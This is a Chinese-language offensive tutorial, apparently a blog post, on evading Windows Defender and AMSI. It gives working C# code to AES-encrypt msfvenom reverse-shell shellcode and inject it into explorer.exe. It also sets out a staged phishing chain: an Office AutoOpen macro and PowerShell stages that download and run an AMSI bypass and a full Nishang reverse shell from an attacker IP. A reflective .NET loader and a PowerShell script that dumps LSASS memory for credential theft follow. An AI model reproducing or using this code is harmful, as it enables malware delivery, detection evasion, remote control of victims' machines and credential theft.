对当前进程进行Memory Patching时AMSI将允许执行任何无文件恶意软件,包括工具(Mimikatz、Rubeus 等)或反向shell。
对于这个概念验证,这里使用evil-winrm Bypass-4MSI内置函数。
这里使用混淆器https://github.com/h4wkst3r/InvisibilityCloak
首先验证Defender是否会阻止默认构建的Certify
可以看到被拦截了
使用InvisibilityCloak混淆Certify代码
尝试运行混淆后的Certify
可以看到它现在可以正常工作了
对于C、C++、Rust等语言,可以利用编译时混淆来隐藏一些行为
根据语言的不同,可能存在不同的方法。由于我的恶意软件开发首选 C++,因此我将解释我尝试过的两种方法:LLVM混淆和模板元编程。
对于LLVM混淆,目前最大的工具是Obfuscator-LLVM。该项目是LLVM的一个分支,它通过混淆生成的二进制文件来增加一层安全性。当前实现的新增功能如下:
· 指令替换。混淆汇编指令以在更大的计算复杂性下产生等效行为。
· 伪造的控制流。添加垃圾指令块以隐藏原始指令代码流。
· 控制流扁平化。使分支和跳转更难预测,以隐藏有意的指令流。
总之,该工具生成的二进制文件通常更难被AV/EDR 静态分析。
模板元编程是一种C++技术,允许开发人员创建在编译时生成源代码的模板。允许在每次编译时生成不同的二进制文件,创建无限数量的分支和代码块等。
用于此目的的两个公共框架如下:
https://github.com/andrivet/ADVobfuscator
https://github.com/fritzone/obfy
这里使用第二个,进行测试。
此外,使用TheD1rkMtr 的 AMSI_patch作为默认二进制文件混淆,它是一个非常简单的 C++ 项目。https://github.com/TheD1rkMtr/AMSI\_patch
默认函数树
混淆后的函数树
混淆后难以静态分析,因为有许多嵌套函数
混淆后的垃圾函数
这些都是简单的垃圾函数,但对于隐藏真实行为非常有用。
再次测试。
一旦你已经生成了二进制文件,可以选择以下几种方式:
· 混淆二进制文件的汇编指令。
· 打包二进制文件。
· 加密二进制文件的内容以在运行时对其进行解密。
· 或者,将其转换为 shellcode 以供以后操作和注入。
从第一个开始,我们有几个可用的开源选项,例如:
https://github.com/weak1337/Alcatraz
https://github.com/a0rtega/metame
https://github.com/ropfuscator/ropfuscator(目前仅适用于 Linux)
Alcatraz通过多种方式修改二进制程序集来工作,例如混淆控制流、添加垃圾指令、取消优化指令以及在运行时之前隐藏真正的入口点。
Metame的工作原理是使用随机性在每次运行时生成不同的程序集
ROPfuscator的工作原理是利用面向返回的编程从原始代码构建ROP小工具和链,从而将原始代码流隐藏在静态分析中,甚至可能是动态的,因为启发式方法更难分析连续的恶意调用. 下图更好地描述了整个过程。
打包器的基本架构如下图。
在这个过程中,给定的打包工具将一个本地编译的PE嵌入到另一个可执行文件中,该文件包含解压原始内容并执行它所需的信息。
此外,PE加密器通过加密可执行文件的内容并生成一个在运行时将解密原始PE的可执行文件来工作。这对于反病毒软件非常有用,因为它们大多数依赖于静态分析而不是运行时行为(如EDR)。因此,完全隐藏可执行文件的内容直到运行时可能非常有效,除非反病毒软件已经针对加密/解密方法生成了签名。https://github.com/icyguider/nimcrypt
最后,我们还可以将本地PE转换回Shellcode。例如,可以使用hasherezade的pe_to_shellcode工具进行转换。
https://github.com/hasherezade/pe\_to\_shellcode
现在已经解释了从可执行文件开始规避反病毒软件的所有可能方法,我想提到将所有步骤合并到一个工具中的框架:KlezVirus的inceptor。这个工具可能会变得非常复杂,对于简单的Defender规避并不需要大部分步骤,但可以通过以下图示更好地解释:
架构
https://github.com/klezVirus/inceptor
与以往的工具不同,Inceptor允许开发者创建自定义模板,以便在工作流程的每个步骤中修改二进制文件,即使为公共模板生成了签名,您也可以拥有自己的私有模板来绕过EDR hooks,修补AMSI / ETW,使用硬件断点,使用直接系统调用来代替内存中的DLL等。
Shellcode 注入是一种非常著名的技术,它包括在给定的进程中插入/注入无关的Shellcode,以最终在内存中执行它。这可以通过多种方式实现。请参阅下图,
对于本文,我将讨论和演示以下方法:
使用Process.GetProcessByName定位资源管理器进程并获取PID。
通过具有0x001F0FFF访问权限的OpenProcess打开进程。
通过VirtualAllocEx在explorer进程中为我们的shellcode分配内存。
通过WriteProcessMemory在进程中写入shellcode 。
最后,创建一个线程,通过CreateRemoteThread执行我们的地址无关代码 (position-independent shellcode)。
当然,拥有包含恶意shellcode的可执行文件很容易被 Defender标记。为了解决这个问题,我们将首先使用AES-128 CBC和PKCS7填充对shellcode进行加密,以隐藏其真实行为和组成,直到运行时。
首先,我们需要生成初始shellcode。使用msfvenom的简单TCP反向shell。
使用以下 C# 代码,可以随意以其他方式(例如,cyberchef)对其进行加密。
using System;using System.IO;using System.Security.Cryptography;using System.Text;namespace AesEnc{ class Program { static void Main(string[] args) { byte[] buf = new byte[] { 0xfc,0x48,0x83, etc. }; byte[] Key = new byte[]{ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F }; byte[] IV = Convert.FromBase64String("AAECAwQFBgcICQoLDA0ODw=="); byte[] aesshell = EncryptShell(buf, Key, IV); StringBuilder hex = new StringBuilder(aesshell.Length * 2); int totalCount = aesshell.Length; foreach (byte b in aesshell) { if ((b + 1) == totalCount) { hex.AppendFormat("0x{0:x2}", b); } else { hex.AppendFormat("0x{0:x2}, ", b); } } Console.WriteLine(hex); } private static byte[] GetIV(int num) { var randomBytes = new byte[num]; using (var rngCsp = new RNGCryptoServiceProvider()) { rngCsp.GetBytes(randomBytes); } return randomBytes; } private static byte[] GetKey(int size) { char[] caRandomChars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()".ToCharArray(); byte[] CKey = new byte[size]; using (RNGCryptoServiceProvider crypto = new RNGCryptoServiceProvider()) { crypto.GetBytes(CKey); } return CKey; } private static byte[] EncryptShell(byte[] CShellcode, byte[] key, byte[] iv) { using (var aes = Aes.Create()) { aes.KeySize = 128; aes.BlockSize = 128; aes.Padding = PaddingMode.PKCS7; aes.Mode = CipherMode.CBC; aes.Key = key; aes.IV = iv; using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV)) { return AESEncryptedShellCode(CShellcode, encryptor); } } } private static byte[] AESEncryptedShellCode(byte[] CShellcode, ICryptoTransform cryptoTransform) { using (var msEncShellCode = new MemoryStream()) using (var cryptoStream = new CryptoStream(msEncShellCode, cryptoTransform, CryptoStreamMode.Write)) { cryptoStream.Write(CShellcode, 0, CShellcode.Length); cryptoStream.FlushFinalBlock(); return msEncShellCode.ToArray(); } } }}
注入器的代码如下
using System;using System.Collections.Generic;using System.Linq;using System.IO;using System.Text;using System.Threading.Tasks;using System.Diagnostics;using System.Security.Cryptography;using System.Runtime.InteropServices;namespace AESInject{ class Program { [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId); [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll")] static extern IntPtr GetCurrentProcess(); static void Main(string[] args) { byte[] Key = new byte[]{ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F }; byte[] IV = Convert.FromBase64String("AAECAwQFBgcICQoLDA0ODw=="); byte[] buf = new byte[] { 0x2b, 0xc3, 0xb0, etc}; //your encrypted bytes here byte[] DShell = AESDecrypt(buf, Key, IV); StringBuilder hexCodes = new StringBuilder(DShell.Length * 2); foreach (byte b in DShell) { hexCodes.AppendFormat("0x{0:x2},", b); } int size = DShell.Length; Process[] expProc = Process.GetProcessesByName("explorer"); //feel free to choose other processes int pid = expProc[0].Id; IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid); IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40); IntPtr outSize; WriteProcessMemory(hProcess, addr, DShell, DShell.Length, out outSize); IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); } private static byte[] AESDecrypt(byte[] CEncryptedShell, byte[] key, byte[] iv) { using (var aes = Aes.Create()) { aes.KeySize = 128; aes.BlockSize = 128; aes.Padding = PaddingMode.PKCS7; aes.Mode = CipherMode.CBC; aes.Key = key; aes.IV = iv; using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV)) { return GetDecrypt(CEncryptedShell, decryptor); } } } private static byte[] GetDecrypt(byte[] data, ICryptoTransform cryptoTransform) { using (var ms = new MemoryStream()) using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write)) { cryptoStream.Write(data, 0, data.Length); cryptoStream.FlushFinalBlock(); return ms.ToArray(); } } }}
执行
获取到shell
https://github.com/TheWover/donut是非常有效的地址无关代码 (position-independent shellcode)生成器。
执行
生成 shellcode 后,我们现在可以为此目的使用我们喜欢的任何注入器。donut最新版本已经带有一个本地和一个远程注入器
Mimikatz、Rubeus、Certify、PowerView、BloodHound 等工具在单个包中实现了很多功能,但是也很容易被识别,那么我们可以尝试将功能分离出来。比如提取mimikatz的转出lsass的功能
https://github.com/Cracked5pider/LsaParser
第二个示例,假设我们的目标是枚举整个 Active Directory 域中的共享。为此,我们可以使用 PowerView 的 Find-DomainShare模块,但是,它是最著名的开源工具之一,很容易被识别并删除,因此,为了更加隐蔽,我们可以基于本机Windows API开发自己的共享查找器工具,如下所示。
#include <windows.h>#include <stdio.h>#include <lm.h>#pragma comment(lib, "Netapi32.lib")int wmain(DWORD argc, WCHAR* lpszArgv[]){ PSHARE_INFO_502 BufPtr, p; PSHARE_INFO_1 BufPtr2, p2; NET_API_STATUS res; LPTSTR lpszServer = NULL; DWORD er = 0, tr = 0, resume = 0, i,denied=0; switch (argc) { case 1: wprintf(L"Usage : RemoteShareEnum.exe <servername1> <servername2> <servernameX>\n"); return 1; default: break; } wprintf(L"\n Share\tPath\tDescription\tCurrent Users\tHost\n\n"); wprintf(L"-------------------------------------------------------------------------------------\n\n"); for (DWORD iter = 1; iter <= argc-1; iter++) { lpszServer = lpszArgv[iter]; do { res = NetShareEnum(lpszServer, 502, (LPBYTE*)&BufPtr, -1, &er, &tr, &resume); if (res == ERROR_SUCCESS || res == ERROR_MORE_DATA) { p = BufPtr; for (i = 1; i <= er; i++) { wprintf(L" % s\t % s\t % s\t % u\t % s\t\n", p->shi502_netname, p->shi502_path, p->shi502_remark, p->shi502_current_uses, lpszServer); p++; } NetApiBufferFree(BufPtr); } else if (res == ERROR_ACCESS_DENIED) { denied = 1; } else { wprintf(L"NetShareEnum() failed for server '%s'. Error code: % ld\n",lpszServer, res); } } while (res == ERROR_MORE_DATA); if (denied == 1) { do { res = NetShareEnum(lpszServer, 1, (LPBYTE*)&BufPtr2, -1, &er, &tr, &resume); if (res == ERROR_SUCCESS || res == ERROR_MORE_DATA) { p2 = BufPtr2; for (i = 1; i <= er; i++) { wprintf(L" % s\t % s\t % s\t\n", p2->shi1_netname, p2->shi1_remark, lpszServer); p2++; } NetApiBufferFree(BufPtr2); } else { wprintf(L"NetShareEnum() failed for server '%s'. Error code: % ld\n", lpszServer, res); } } while (res == ERROR_MORE_DATA); denied = 0; } wprintf(L"-------------------------------------------------------------------------------------\n\n"); } return 0;}
自定义工具可能是一项非常耗时的任务,并且需要非常深入的了解 Windows 内部知识,但它有可能是最有效的方法。因此,如果其他方法都失败了,应该考虑到这一点。因为可以控制并自定义API调用、断点、顺序、垃圾数据/指令、混淆等。
将有效载荷分成渐进阶段不是新技术,攻击者通常使用它来逃避初始静态分析的恶意软件。这是因为真正的恶意负载将在稍后阶段被检索和执行,静态分析可能没有机会发挥作用。
对于此PoC,这里展示一种非常简单但有效的方法来暂存反向 shell 负载,例如,可用于使用以下宏创建恶意 Office 文件:
执行第一阶段的宏
Sub AutoOpen()Set shell_object = CreateObject("WScript.Shell")shell_object.Exec ("powershell -c IEX(New-Object Net.WebClient).downloadString('http://IP:PORT/stage1.ps1')")End Sub
这不会被 AV 静态检测到,因为它只是在执行一个看似良性的命令。
由于我没有安装Office,这里通过在PowerShell脚本中手动执行上述命令来模拟网络钓鱼过程。
本节的概念证明如下:
stage0.txt(这将是在网络钓鱼宏中执行的命令)
IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/stage1.txt")
stage1.txt
IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/ref.txt")IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/stage2.txt")
stage2.txt
function Invoke-PowerShellTcp { <#.SYNOPSISNishang script which can be used for Reverse or Bind interactive PowerShell from a target. .DESCRIPTIONThis script is able to connect to a standard netcat listening on a port when using the -Reverse switch. Also, a standard netcat can connect to this script Bind to a specific port.The script is derived from Powerfun written by Ben Turner & Dave Hardy.PARAMETER IPAddressThe IP address to connect to when using the -Reverse switch..PARAMETER PortThe port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens..EXAMPLEPS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on the given IP and port. .EXAMPLEPS > Invoke-PowerShellTcp -Bind -Port 4444Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. .EXAMPLEPS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must belistening on the given IP and port. .LINKhttp://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.htmlhttps://github.com/nettitude/powershell/blob/master/powerfun.ps1https://github.com/samratashok/nishang#> [CmdletBinding(DefaultParameterSetName="reverse")] Param( [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")] [String] $IPAddress, [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")] [Int] $Port, [Parameter(ParameterSetName="reverse")] [Switch] $Reverse, [Parameter(ParameterSetName="bind")] [Switch] $Bind ) try { #Connect back if the reverse switch is used. if ($Reverse) { $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) } #Bind to the provided port if Bind switch is used. if ($Bind) { $listener = [System.Net.Sockets.TcpListener]$Port $listener.start() $client = $listener.AcceptTcpClient() } $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} #Send back current username and computername $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length) #Show an interactive PowerShell prompt $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') $stream.Write($sendbytes,0,$sendbytes.Length) while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding $data = $EncodedText.GetString($bytes,0, $i) try { #Execute the command on the target. $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) } catch { Write-Warning "Something went wrong with execution of command on the target." Write-Error $_ } $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' $x = ($error[0] | Out-String) $error.clear() $sendback2 = $sendback2 + $x #Return the results $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close() if ($listener) { $listener.Stop() } } catch { Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." Write-Error $_ }}Invoke-PowerShellTcp -Reverse -IPAddress 172.31.17.142 -Port 80
ref.txt 是一个简单的通过进程修补来执行PowerShell AMSI 绕过,在这种情况下,PowerShell脚本的扩展名无关紧要,因为它们的内容将作为文本简单地下载并使用Invoke-Expression(IEX 的别名)调用。
然后我们可以执行完整的 PoC,如下所示:
受害者从我们的 C2 下载
获取反向 shell
您可能还记得在第一部分中,我们在修补内存中的AMSI后执行了Mimikatz,以展示Defender停止扫描我们进程的内存。这是因为.NET公开了System.Reflection.Assembly API,我们可以使用它在内存中反射加载和执行.NET程序集
这对于攻击目的非常有用,因为在PowerShell中可以使用 .NET,我们可以在脚本中使用它在内存中加载整个二进制文件,以绕过Windows Defender的静态分析。
反射加载模板
function Invoke-YourTool{ $a=New-Object IO.MemoryStream(,[Convert]::FromBAsE64String("yourbase64stringhere")) $decompressed = New-Object IO.Compression.GzipStream($a,[IO.Compression.CoMPressionMode]::DEComPress) $output = New-Object System.IO.MemoryStream $decompressed.CopyTo( $output ) [byte[]] $byteOutArray = $output.ToArray() $RAS = [System.Reflection.Assembly]::Load($byteOutArray) $OldConsoleOut = [Console]::Out $StringWriter = New-Object IO.StringWriter [Console]::SetOut($StringWriter) [ClassName.Program]::main([string[]]$args) [Console]::SetOut($OldConsoleOut) $Results = $StringWriter.ToString() $Results }
Gzip仅用于尝试隐藏真正的二进制文件,因此有时它可能无需进一步的绕过方法即可工作,但最重要的一行是从 System.Reflection.Assembly .NET 类调用 Load 函数以将二进制文件加载到内存中. 之后,我们可以简单地用“[ClassName.Program]::main([string[]]$args)”调用它的主函数
这个仓库不仅包含每个著名工具的大量预构建脚本,还包含从二进制文件创建您自己的脚本的说明:
https://github.com/S3cur3Th1sSh1t/PowerSharpPack
反射加载 Mimikatz
P/Invoke,即平台调用,允许我们访问未管理的本地Windows DLL中的结构、回调和函数,以便访问本机组件中可能无法直接从.NET中获得的较低级别API。
我们可以利用fortra的nanodump工具
https://github.com/fortra/nanodump
但是它容易被识别,这时可以利用P/Invoke编写一个PowerShell脚本来执行相同的操作,
我们可以修补 AMSI 以使其在这样做时变得不可检测。
编写以下代码
Add-Type @" using System; using System.Runtime.InteropServices; public class MiniDump { [DllImport("Dbghelp.dll", SetLastError=true)] public static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam); }"@$PROCESS_QUERY_INFORMATION = 0x0400$PROCESS_VM_READ = 0x0010$MiniDumpWithFullMemory = 0x00000002Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class Kernel32 { [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool CloseHandle(IntPtr hObject); }"@$processId ="788"$processHandle = [Kernel32]::OpenProcess($PROCESS_QUERY_INFORMATION -bor $PROCESS_VM_READ, $false, $processId)if ($processHandle -ne [IntPtr]::Zero) { $dumpFile = [System.IO.File]::Create("C:\users\public\test1234.txt") $fileHandle = $dumpFile.SafeFileHandle.DangerousGetHandle() $result = [MiniDump]::MiniDumpWriteDump($processHandle, $processId, $fileHandle, $MiniDumpWithFullMemory, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero) if ($result) { Write-Host "Sucess" } else { Write-Host "Failed" -ForegroundColor Red } $dumpFile.Close() [Kernel32]::CloseHandle($processHandle)} else { Write-Host "Failed to open process handle." -ForegroundColor Red}
在此示例中,我们首先通过Add-Type从Dbghelp.dll导入MiniDumpWriteDump函数,然后从 kernel32.dll 导入 OpenProcess 和 CloseHandle。然后最终得到 LSASS 进程的句柄并使用 MiniDumpWriteDump 执行进程的完整内存转储并将其写入文件
完整的 PoC 如下:
使用 impacket-smbclient 下载
使用 pypykatz 在本地解析 MiniDump 文件